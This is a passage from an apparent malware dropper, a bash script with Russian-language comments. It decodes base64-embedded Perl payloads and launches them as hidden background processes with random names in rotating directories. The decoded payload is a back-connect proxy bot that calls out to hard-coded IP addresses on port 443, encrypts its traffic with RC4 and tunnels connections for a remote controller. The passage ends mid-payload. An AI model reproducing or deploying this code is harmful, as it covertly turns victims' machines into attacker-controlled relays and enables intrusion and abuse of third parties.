c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #39 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #39 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 40 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODgnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #40 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #40 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 41 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODknOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj 